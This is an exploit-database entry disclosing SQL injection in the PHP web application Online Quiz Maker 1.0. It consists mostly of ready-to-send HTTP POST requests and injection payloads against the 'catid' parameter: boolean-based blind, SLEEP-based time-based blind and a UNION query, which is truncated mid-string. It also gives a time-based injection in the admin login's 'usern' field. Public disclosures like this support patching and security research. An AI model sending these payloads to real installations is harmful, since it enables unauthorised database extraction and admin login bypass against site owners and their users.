Online Quiz Maker 1.0 - 'catid' SQL Injection

EDB-ID:
45323

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-09-03

Vulnerable App:

```
# Exploit Title: Online Quiz Maker 1.0 - 'catid' SQL Injection
# Dork: N/A
# Date: 2018-09-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.hscripts.com/scripts/php/quiz-maker.php
# Software Link:https://www.hscripts.com/scripts/php/downloads/quiz-
maker.zip
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux

# Description : An attacker can execute SQL commands through parameters
# that contain vulnerable.
# An authorized user can use the filtering feature and can fully authorize
# the database or other server informations. Also there are XSS
# vulnerabilities too.

# PoC : SQLi 1 :
# Request(POST):

POST /scripts/php/quiz-system/quiz-system.php HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.hscripts.com/scripts/php/quiz-system/quiz-system.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
uname=test&catid=1

# Parameter: catid (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload:

uname=test&catid=1 AND 4815=4815

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:

uname=test&catid=1 AND SLEEP(5)

# Type: UNION query
# Title: Generic UNION query (NULL) - 10 columns
# Payload:

uname=test&catid=1 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170626271,0x56476b436866655067774c6d7
-bocR

# PoC : SQLi 2: Admin Login SQL Injection
# Request(POST):

POST /scripts/php/quiz-system/admin/add-category.php HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://server/admin/add-category.php
```

```
Cookie: PHPSESSID=k001uia98prmln85spaid6pvq4
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
usern=testing&passw=password&type=auth

# Parameter: usern (POST)
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload:

usern=testing' AND SLEEP(5) AND 'ZECL'='ZECL&passw=password&type=auth
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions